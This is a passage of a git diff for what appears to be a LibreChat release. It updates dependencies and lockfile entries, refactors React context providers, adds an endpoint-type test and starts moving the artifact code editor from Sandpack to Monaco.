+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
}
}
diff --git a/client/jest.config.cjs b/client/jest.config.cjs
index f3b0b91e9b..1c698d08a3 100644
--- a/client/jest.config.cjs
+++ b/client/jest.config.cjs
@@ -1,4 +1,4 @@
-/** v0.8.3-rc1 */
+/** v0.8.3 */
module.exports = {
roots: ['/src'],
testEnvironment: 'jsdom',
@@ -32,6 +32,7 @@ module.exports = {
'^librechat-data-provider/react-query$':
'/../node_modules/librechat-data-provider/src/react-query',
},
+ maxWorkers: '50%',
restoreMocks: true,
testResultsProcessor: 'jest-junit',
coverageReporters: ['text', 'cobertura', 'lcov'],
diff --git a/client/package.json b/client/package.json
index fcc4c99e00..250afc9990 100644
--- a/client/package.json
+++ b/client/package.json
@@ -1,6 +1,6 @@
{
"name": "@librechat/frontend",
- "version": "v0.8.3-rc1",
+ "version": "v0.8.3",
"description": "",
"type": "module",
"scripts": {
@@ -38,6 +38,7 @@
"@librechat/client": "*",
"@marsidev/react-turnstile": "^1.1.0",
"@mcp-ui/client": "^5.7.0",
+ "@monaco-editor/react": "^4.7.0",
"@radix-ui/react-accordion": "^1.1.2",
"@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3",
@@ -80,7 +81,7 @@
"lodash": "^4.17.23",
"lucide-react": "^0.394.0",
"match-sorter": "^8.1.0",
- "mermaid": "^11.12.3",
+ "mermaid": "^11.13.0",
"micromark-extension-llm-math": "^3.1.0",
"qrcode.react": "^4.2.0",
"rc-input-number": "^7.4.2",
@@ -93,7 +94,6 @@
"react-gtm-module": "^2.0.11",
"react-hook-form": "^7.43.9",
"react-i18next": "^15.4.0",
- "react-lazy-load-image-component": "^1.6.0",
"react-markdown": "^9.0.1",
"react-resizable-panels": "^3.0.6",
"react-router-dom": "^6.30.3",
@@ -122,6 +122,7 @@
"@babel/preset-env": "^7.22.15",
"@babel/preset-react": "^7.22.15",
"@babel/preset-typescript": "^7.22.15",
+ "@happy-dom/jest-environment": "^20.8.3",
"@tanstack/react-query-devtools": "^4.29.0",
"@testing-library/dom": "^9.3.0",
"@testing-library/jest-dom": "^5.16.5",
@@ -130,10 +131,10 @@
"@types/jest": "^29.5.14",
"@types/js-cookie": "^3.0.6",
"@types/lodash": "^4.17.15",
- "@types/node": "^20.3.0",
+ "@types/node": "^20.19.35",
"@types/react": "^18.2.11",
"@types/react-dom": "^18.2.4",
- "@vitejs/plugin-react": "^4.3.4",
+ "@vitejs/plugin-react": "^5.1.4",
"autoprefixer": "^10.4.20",
"babel-plugin-replace-ts-export-assignment": "^0.0.2",
"babel-plugin-root-import": "^6.6.0",
@@ -144,16 +145,17 @@
"identity-obj-proxy": "^3.0.0",
"jest": "^30.2.0",
"jest-canvas-mock": "^2.5.2",
- "jest-environment-jsdom": "^29.7.0",
+ "jest-environment-jsdom": "^30.2.0",
"jest-file-loader": "^1.0.3",
"jest-junit": "^16.0.0",
+ "monaco-editor": "^0.55.1",
"postcss": "^8.4.31",
- "postcss-preset-env": "^8.2.0",
+ "postcss-preset-env": "^11.2.0",
"tailwindcss": "^3.4.1",
"typescript": "^5.3.3",
- "vite": "^6.4.1",
+ "vite": "^7.3.1",
"vite-plugin-compression2": "^2.2.1",
- "vite-plugin-node-polyfills": "^0.23.0",
- "vite-plugin-pwa": "^0.21.2"
+ "vite-plugin-node-polyfills": "^0.25.0",
+ "vite-plugin-pwa": "^1.2.0"
}
}
diff --git a/client/public/assets/azure-ai-search.svg b/client/public/assets/azure-ai-search.svg
new file mode 100644
index 0000000000..5db3422b9b
--- /dev/null
+++ b/client/public/assets/azure-ai-search.svg
@@ -0,0 +1 @@
+
diff --git a/client/public/assets/bfl-ai.svg b/client/public/assets/bfl-ai.svg
new file mode 100644
index 0000000000..c8556b8557
--- /dev/null
+++ b/client/public/assets/bfl-ai.svg
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/public/assets/calculator.svg b/client/public/assets/calculator.svg
new file mode 100644
index 0000000000..440367fe9e
--- /dev/null
+++ b/client/public/assets/calculator.svg
@@ -0,0 +1 @@
+
diff --git a/client/public/assets/google-search.svg b/client/public/assets/google-search.svg
new file mode 100644
index 0000000000..be3c8db3d5
--- /dev/null
+++ b/client/public/assets/google-search.svg
@@ -0,0 +1 @@
+
diff --git a/client/public/assets/stability-ai.svg b/client/public/assets/stability-ai.svg
new file mode 100644
index 0000000000..bdc74a14d6
--- /dev/null
+++ b/client/public/assets/stability-ai.svg
@@ -0,0 +1 @@
+
diff --git a/client/public/assets/tavily.svg b/client/public/assets/tavily.svg
new file mode 100644
index 0000000000..544d55319b
--- /dev/null
+++ b/client/public/assets/tavily.svg
@@ -0,0 +1,3 @@
+
+
+
diff --git a/client/src/Providers/ArtifactsContext.tsx b/client/src/Providers/ArtifactsContext.tsx
index 139f679003..fd67d5af94 100644
--- a/client/src/Providers/ArtifactsContext.tsx
+++ b/client/src/Providers/ArtifactsContext.tsx
@@ -1,7 +1,8 @@
import React, { createContext, useContext, useMemo } from 'react';
+import { useRecoilValue } from 'recoil';
import type { TMessage } from 'librechat-data-provider';
-import { useChatContext } from './ChatContext';
import { getLatestText } from '~/utils';
+import store from '~/store';
export interface ArtifactsContextValue {
isSubmitting: boolean;
@@ -18,27 +19,28 @@ interface ArtifactsProviderProps {
}
export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) {
- const { isSubmitting, latestMessage, conversation } = useChatContext();
+ const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
+ const latestMessage = useRecoilValue(store.latestMessageFamily(0));
+ const conversationId = useRecoilValue(store.conversationIdByIndex(0));
const chatLatestMessageText = useMemo(() => {
return getLatestText({
- messageId: latestMessage?.messageId ?? null,
text: latestMessage?.text ?? null,
content: latestMessage?.content ?? null,
+ messageId: latestMessage?.messageId ?? null,
} as TMessage);
}, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]);
const defaultContextValue = useMemo(
() => ({
isSubmitting,
+ conversationId: conversationId ?? null,
latestMessageText: chatLatestMessageText,
latestMessageId: latestMessage?.messageId ?? null,
- conversationId: conversation?.conversationId ?? null,
}),
- [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversation?.conversationId],
+ [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversationId],
);
- /** Context value only created when relevant values change */
const contextValue = useMemo(
() => (value ? { ...defaultContextValue, ...value } : defaultContextValue),
[defaultContextValue, value],
diff --git a/client/src/Providers/DragDropContext.tsx b/client/src/Providers/DragDropContext.tsx
index e5a2177f2d..b519c0171f 100644
--- a/client/src/Providers/DragDropContext.tsx
+++ b/client/src/Providers/DragDropContext.tsx
@@ -1,5 +1,5 @@
import React, { createContext, useContext, useMemo } from 'react';
-import { getEndpointField, isAgentsEndpoint } from 'librechat-data-provider';
+import { isAgentsEndpoint, resolveEndpointType } from 'librechat-data-provider';
import type { EModelEndpoint } from 'librechat-data-provider';
import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider';
import { useAgentsMapContext } from './AgentsMapContext';
@@ -9,7 +9,7 @@ interface DragDropContextValue {
conversationId: string | null | undefined;
agentId: string | null | undefined;
endpoint: string | null | undefined;
- endpointType?: EModelEndpoint | undefined;
+ endpointType?: EModelEndpoint | string | undefined;
useResponsesApi?: boolean;
}
@@ -20,13 +20,6 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
const { data: endpointsConfig } = useGetEndpointsQuery();
const agentsMap = useAgentsMapContext();
- const endpointType = useMemo(() => {
- return (
- getEndpointField(endpointsConfig, conversation?.endpoint, 'type') ||
- (conversation?.endpoint as EModelEndpoint | undefined)
- );
- }, [conversation?.endpoint, endpointsConfig]);
-
const needsAgentFetch = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id) {
@@ -40,6 +33,20 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
enabled: needsAgentFetch,
});
+ const agentProvider = useMemo(() => {
+ const isAgents = isAgentsEndpoint(conversation?.endpoint);
+ if (!isAgents || !conversation?.agent_id) {
+ return undefined;
+ }
+ const agent = agentData || agentsMap?.[conversation.agent_id];
+ return agent?.provider;
+ }, [conversation?.endpoint, conversation?.agent_id, agentData, agentsMap]);
+
+ const endpointType = useMemo(
+ () => resolveEndpointType(endpointsConfig, conversation?.endpoint, agentProvider),
+ [endpointsConfig, conversation?.endpoint, agentProvider],
+ );
+
const useResponsesApi = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) {
diff --git a/client/src/Providers/MessagesViewContext.tsx b/client/src/Providers/MessagesViewContext.tsx
index f8f5eef12a..f1cae204a4 100644
--- a/client/src/Providers/MessagesViewContext.tsx
+++ b/client/src/Providers/MessagesViewContext.tsx
@@ -18,7 +18,8 @@ interface MessagesViewContextValue {
/** Message state management */
index: ReturnType['index'];
- latestMessage: ReturnType['latestMessage'];
+ latestMessageId: ReturnType['latestMessageId'];
+ latestMessageDepth: ReturnType['latestMessageDepth'];
setLatestMessage: ReturnType['setLatestMessage'];
getMessages: ReturnType['getMessages'];
setMessages: ReturnType['setMessages'];
@@ -39,7 +40,8 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
regenerate,
isSubmitting,
conversation,
- latestMessage,
+ latestMessageId,
+ latestMessageDepth,
setAbortScroll,
handleContinue,
setLatestMessage,
@@ -83,10 +85,11 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
const messageState = useMemo(
() => ({
index,
- latestMessage,
+ latestMessageId,
+ latestMessageDepth,
setLatestMessage,
}),
- [index, latestMessage, setLatestMessage],
+ [index, latestMessageId, latestMessageDepth, setLatestMessage],
);
/** Combine all values into final context value */
@@ -139,9 +142,9 @@ export function useMessagesOperations() {
/** Hook for components that only need message state */
export function useMessagesState() {
- const { index, latestMessage, setLatestMessage } = useMessagesViewContext();
+ const { index, latestMessageId, latestMessageDepth, setLatestMessage } = useMessagesViewContext();
return useMemo(
- () => ({ index, latestMessage, setLatestMessage }),
- [index, latestMessage, setLatestMessage],
+ () => ({ index, latestMessageId, latestMessageDepth, setLatestMessage }),
+ [index, latestMessageId, latestMessageDepth, setLatestMessage],
);
}
diff --git a/client/src/Providers/__tests__/DragDropContext.spec.tsx b/client/src/Providers/__tests__/DragDropContext.spec.tsx
new file mode 100644
index 0000000000..3c5e0f0796
--- /dev/null
+++ b/client/src/Providers/__tests__/DragDropContext.spec.tsx
@@ -0,0 +1,134 @@
+import React from 'react';
+import { renderHook } from '@testing-library/react';
+import { EModelEndpoint } from 'librechat-data-provider';
+import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
+import { DragDropProvider, useDragDropContext } from '../DragDropContext';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ [EModelEndpoint.anthropic]: { userProvide: false, order: 6 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+ 'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockConversation: Record | null = null;
+let mockAgentsMap: Record> = {};
+let mockAgentQueryData: Partial | undefined;
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
+}));
+
+jest.mock('../AgentsMapContext', () => ({
+ useAgentsMapContext: () => mockAgentsMap,
+}));
+
+jest.mock('../ChatContext', () => ({
+ useChatContext: () => ({ conversation: mockConversation }),
+}));
+
+function wrapper({ children }: { children: React.ReactNode }) {
+ return {children} ;
+}
+
+describe('DragDropContext endpointType resolution', () => {
+ beforeEach(() => {
+ mockConversation = null;
+ mockAgentsMap = {};
+ mockAgentQueryData = undefined;
+ });
+
+ describe('non-agents endpoints', () => {
+ it('resolves custom endpoint type for a custom endpoint', () => {
+ mockConversation = { endpoint: 'Moonshot' };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves endpoint name for a standard endpoint', () => {
+ mockConversation = { endpoint: EModelEndpoint.openAI };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
+ });
+ });
+
+ describe('agents endpoint with provider from agentsMap', () => {
+ it('resolves to custom for agent with Moonshot provider', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves to custom for agent with custom provider with spaces', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Some Endpoint', model_parameters: {} } as Partial,
+ };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves to openAI for agent with openAI provider', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
+ };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
+ });
+
+ it('resolves to anthropic for agent with anthropic provider', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: EModelEndpoint.anthropic, model_parameters: {} } as Partial,
+ };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.anthropic);
+ });
+ });
+
+ describe('agents endpoint with provider from agentData query', () => {
+ it('uses agentData when agent is not in agentsMap', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-2' };
+ mockAgentsMap = {};
+ mockAgentQueryData = { provider: 'Moonshot' } as Partial;
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+ });
+ });
+
+ describe('agents endpoint without provider', () => {
+ it('falls back to agents when no agent_id', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.agents);
+ });
+
+ it('falls back to agents when agent has no provider', () => {
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = { 'agent-1': { model_parameters: {} } as Partial };
+ const { result } = renderHook(() => useDragDropContext(), { wrapper });
+ expect(result.current.endpointType).toBe(EModelEndpoint.agents);
+ });
+ });
+
+ describe('consistency: same endpoint type whether used directly or through agents', () => {
+ it('Moonshot resolves to the same type as direct endpoint and as agent provider', () => {
+ mockConversation = { endpoint: 'Moonshot' };
+ const { result: directResult } = renderHook(() => useDragDropContext(), { wrapper });
+
+ mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ const { result: agentResult } = renderHook(() => useDragDropContext(), { wrapper });
+
+ expect(directResult.current.endpointType).toBe(agentResult.current.endpointType);
+ });
+ });
+});
diff --git a/client/src/a11y/LiveAnnouncer.tsx b/client/src/a11y/LiveAnnouncer.tsx
index 9a02711556..0eac8089bc 100644
--- a/client/src/a11y/LiveAnnouncer.tsx
+++ b/client/src/a11y/LiveAnnouncer.tsx
@@ -56,10 +56,13 @@ const LiveAnnouncer: React.FC = ({ children }) => {
const announceAssertive = announcePolite;
- const contextValue = {
- announcePolite,
- announceAssertive,
- };
+ const contextValue = useMemo(
+ () => ({
+ announcePolite,
+ announceAssertive,
+ }),
+ [announcePolite, announceAssertive],
+ );
useEffect(() => {
return () => {
diff --git a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
index 1e1b7d1e4b..293bd8878e 100644
--- a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
+++ b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
@@ -179,9 +179,7 @@ describe('Virtual Scrolling Performance', () => {
};
it('efficiently handles 1000 agents without rendering all DOM nodes', () => {
- const startTime = performance.now();
renderComponent(1000);
- const endTime = performance.now();
const virtualList = screen.getByTestId('virtual-list');
expect(virtualList).toBeInTheDocument();
@@ -191,19 +189,10 @@ describe('Virtual Scrolling Performance', () => {
const renderedCards = screen.getAllByTestId(/agent-card-/);
expect(renderedCards.length).toBeLessThan(50); // Much less than 1000
expect(renderedCards.length).toBeGreaterThan(0);
-
- // Performance check: rendering should be fast
- const renderTime = endTime - startTime;
- expect(renderTime).toBeLessThan(740);
-
- console.log(`Rendered 1000 agents in ${renderTime.toFixed(2)}ms`);
- console.log(`Only ${renderedCards.length} DOM nodes created for 1000 agents`);
});
it('efficiently handles 5000 agents (stress test)', () => {
- const startTime = performance.now();
renderComponent(5000);
- const endTime = performance.now();
const virtualList = screen.getByTestId('virtual-list');
expect(virtualList).toBeInTheDocument();
@@ -213,13 +202,6 @@ describe('Virtual Scrolling Performance', () => {
const renderedCards = screen.getAllByTestId(/agent-card-/);
expect(renderedCards.length).toBeLessThan(50);
expect(renderedCards.length).toBeGreaterThan(0);
-
- // Performance should still be reasonable
- const renderTime = endTime - startTime;
- expect(renderTime).toBeLessThan(200); // Should render in less than 200ms
-
- console.log(`Rendered 5000 agents in ${renderTime.toFixed(2)}ms`);
- console.log(`Only ${renderedCards.length} DOM nodes created for 5000 agents`);
});
it('calculates correct number of virtual rows for different screen sizes', () => {
diff --git a/client/src/components/Artifacts/ArtifactCodeEditor.tsx b/client/src/components/Artifacts/ArtifactCodeEditor.tsx
index 4ab2b182b8..d03397821d 100644
--- a/client/src/components/Artifacts/ArtifactCodeEditor.tsx
+++ b/client/src/components/Artifacts/ArtifactCodeEditor.tsx
@@ -1,206 +1,326 @@
-import React, { useMemo, useState, useEffect, useRef, memo } from 'react';
+import React, { useMemo, useState, useEffect, useRef, useCallback } from 'react';
import debounce from 'lodash/debounce';
-import { KeyBinding } from '@codemirror/view';
-import { autocompletion, completionKeymap } from '@codemirror/autocomplete';
-import {
- useSandpack,
- SandpackCodeEditor,
- SandpackProvider as StyledProvider,
-} from '@codesandbox/sandpack-react';
-import type { SandpackProviderProps } from '@codesandbox/sandpack-react/unstyled';
-import type { SandpackBundlerFile } from '@codesandbox/sandpack-client';
-import type { CodeEditorRef } from '@codesandbox/sandpack-react';
-import type { ArtifactFiles, Artifact } from '~/common';
-import { useEditArtifact, useGetStartupConfig } from '~/data-provider';
+import MonacoEditor from '@monaco-editor/react';
+import type { Monaco } from '@monaco-editor/react';
+import type { editor } from 'monaco-editor';
+import type { Artifact } from '~/common';
import { useMutationState, useCodeState } from '~/Providers/EditorContext';
import { useArtifactsContext } from '~/Providers';
-import { sharedFiles, sharedOptions } from '~/utils/artifacts';
+import { useEditArtifact } from '~/data-provider';
-const CodeEditor = memo(
- ({
- fileKey,
- readOnly,
- artifact,
- editorRef,
- }: {
- fileKey: string;
- readOnly?: boolean;
- artifact: Artifact;
- editorRef: React.MutableRefObject;
- }) => {
- const { sandpack } = useSandpack();
- const [currentUpdate, setCurrentUpdate] = useState(null);
- const { isMutating, setIsMutating } = useMutationState();
- const { setCurrentCode } = useCodeState();
- const editArtifact = useEditArtifact({
- onMutate: (vars) => {
- setIsMutating(true);
- setCurrentUpdate(vars.updated);
- },
- onSuccess: () => {
- setIsMutating(false);
- setCurrentUpdate(null);
- },
- onError: () => {
- setIsMutating(false);
- },
- });
+const LANG_MAP: Record = {
+ javascript: 'javascript',
+ typescript: 'typescript',
+ python: 'python',
+ css: 'css',
+ json: 'json',
+ markdown: 'markdown',
+ html: 'html',
+ xml: 'xml',
+ sql: 'sql',
+ yaml: 'yaml',
+ shell: 'shell',
+ bash: 'shell',
+ tsx: 'typescript',
+ jsx: 'javascript',
+ c: 'c',
+ cpp: 'cpp',
+ java: 'java',
+ go: 'go',
+ rust: 'rust',
+ kotlin: 'kotlin',
+ swift: 'swift',
+ php: 'php',
+ ruby: 'ruby',
+ r: 'r',
+ lua: 'lua',
+ scala: 'scala',
+ perl: 'perl',
+};
- /**
- * Create stable debounced mutation that doesn't depend on changing callbacks
- * Use refs to always access the latest values without recreating the debounce
- */
- const artifactRef = useRef(artifact);
- const isMutatingRef = useRef(isMutating);
- const currentUpdateRef = useRef(currentUpdate);
- const editArtifactRef = useRef(editArtifact);
- const setCurrentCodeRef = useRef(setCurrentCode);
+const TYPE_MAP: Record = {
+ 'text/html': 'html',
+ 'application/vnd.code-html': 'html',
+ 'application/vnd.react': 'typescript',
+ 'application/vnd.ant.react': 'typescript',
+ 'text/markdown': 'markdown',
+ 'text/md': 'markdown',
+ 'text/plain': 'plaintext',
+ 'application/vnd.mermaid': 'markdown',
+};
- useEffect(() => {
- artifactRef.current = artifact;
- }, [artifact]);
+function getMonacoLanguage(type?: string, language?: string): string {
+ if (language && LANG_MAP[language]) {
+ return LANG_MAP[language];
+ }
+ return TYPE_MAP[type ?? ''] ?? 'plaintext';
+}
- useEffect(() => {
- isMutatingRef.current = isMutating;
- }, [isMutating]);
-
- useEffect(() => {
- currentUpdateRef.current = currentUpdate;
- }, [currentUpdate]);
-
- useEffect(() => {
- editArtifactRef.current = editArtifact;
- }, [editArtifact]);
-
- useEffect(() => {
- setCurrentCodeRef.current = setCurrentCode;
- }, [setCurrentCode]);
-
- /**
- * Create debounced mutation once - never recreate it
- * All values are accessed via refs so they're always current
- */
- const debouncedMutation = useMemo(
- () =>
- debounce((code: string) => {
- if (readOnly) {
- return;
- }
- if (isMutatingRef.current) {
- return;
- }
- if (artifactRef.current.index == null) {
- return;
- }
-
- const artifact = artifactRef.current;
- const artifactIndex = artifact.index;
- const isNotOriginal =
- code && artifact.content != null && code.trim() !== artifact.content.trim();
- const isNotRepeated =
- currentUpdateRef.current == null
- ? true
- : code != null && code.trim() !== currentUpdateRef.current.trim();
-
- if (artifact.content && isNotOriginal && isNotRepeated && artifactIndex != null) {
- setCurrentCodeRef.current(code);
- editArtifactRef.current.mutate({
- index: artifactIndex,
- messageId: artifact.messageId ?? '',
- original: artifact.content,
- updated: code,
- });
- }
- }, 500),
- [readOnly],
- );
-
- /**
- * Listen to Sandpack file changes and trigger debounced mutation
- */
- useEffect(() => {
- const currentCode = (sandpack.files['/' + fileKey] as SandpackBundlerFile | undefined)?.code;
- if (currentCode) {
- debouncedMutation(currentCode);
- }
- }, [sandpack.files, fileKey, debouncedMutation]);
-
- /**
- * Cleanup: cancel pending mutations when component unmounts or artifact changes
- */
- useEffect(() => {
- return () => {
- debouncedMutation.cancel();
- };
- }, [artifact.id, debouncedMutation]);
-
- return (
- (completionKeymap)}
- className="hljs language-javascript bg-black"
- />
- );
- },
-);
-
-export const ArtifactCodeEditor = function ({
- files,
- fileKey,
- template,
+export const ArtifactCodeEditor = function ArtifactCodeEditor({
artifact,
- editorRef,
- sharedProps,
+ monacoRef,
readOnly: externalReadOnly,
}: {
- fileKey: string;
artifact: Artifact;
- files: ArtifactFiles;
- template: SandpackProviderProps['template'];
- sharedProps: Partial;
- editorRef: React.MutableRefObject;
+ monacoRef: React.MutableRefObject;
readOnly?: boolean;
}) {
- const { data: config } = useGetStartupConfig();
const { isSubmitting } = useArtifactsContext();
- const options: typeof sharedOptions = useMemo(() => {
- if (!config) {
- return sharedOptions;
- }
- return {
- ...sharedOptions,
- activeFile: '/' + fileKey,
- bundlerURL: template === 'static' ? config.staticBundlerURL : config.bundlerURL,
- };
- }, [config, template, fileKey]);
- const initialReadOnly = (externalReadOnly ?? false) || (isSubmitting ?? false);
- const [readOnly, setReadOnly] = useState(initialReadOnly);
- useEffect(() => {
- setReadOnly((externalReadOnly ?? false) || (isSubmitting ?? false));
- }, [isSubmitting, externalReadOnly]);
+ const readOnly = (externalReadOnly ?? false) || isSubmitting;
+ const { setCurrentCode } = useCodeState();
+ const [currentUpdate, setCurrentUpdate] = useState(null);
+ const { isMutating, setIsMutating } = useMutationState();
+ const editArtifact = useEditArtifact({
+ onMutate: (vars) => {
+ setIsMutating(true);
+ setCurrentUpdate(vars.updated);
+ },
+ onSuccess: () => {
+ setIsMutating(false);
+ setCurrentUpdate(null);
+ },
+ onError: () => {
+ setIsMutating(false);
+ },
+ });
- if (Object.keys(files).length === 0) {
+ const artifactRef = useRef(artifact);
+ const isMutatingRef = useRef(isMutating);
+ const currentUpdateRef = useRef(currentUpdate);
+ const editArtifactRef = useRef(editArtifact);
+ const setCurrentCodeRef = useRef(setCurrentCode);
+ const prevContentRef = useRef(artifact.content ?? '');
+ const prevArtifactId = useRef(artifact.id);
+ const prevReadOnly = useRef(readOnly);
+
+ artifactRef.current = artifact;
+ isMutatingRef.current = isMutating;
+ currentUpdateRef.current = currentUpdate;
+ editArtifactRef.current = editArtifact;
+ setCurrentCodeRef.current = setCurrentCode;
+
+ const debouncedMutation = useMemo(
+ () =>
+ debounce((code: string) => {
+ if (readOnly || isMutatingRef.current || artifactRef.current.index == null) {
+ return;
+ }
+ const art = artifactRef.current;
+ const isNotOriginal = art.content != null && code.trim() !== art.content.trim();
+ const isNotRepeated =
+ currentUpdateRef.current == null ? true : code.trim() !== currentUpdateRef.current.trim();
+
+ if (art.content != null && isNotOriginal && isNotRepeated && art.index != null) {
+ setCurrentCodeRef.current(code);
+ editArtifactRef.current.mutate({
+ index: art.index,
+ messageId: art.messageId ?? '',
+ original: art.content,
+ updated: code,
+ });
+ }
+ }, 500),
+ [readOnly],
+ );
+
+ useEffect(() => {
+ return () => debouncedMutation.cancel();
+ }, [artifact.id, debouncedMutation]);
+
+ /**
+ * Streaming: use model.applyEdits() to append new content.
+ * Unlike setValue/pushEditOperations, applyEdits preserves existing
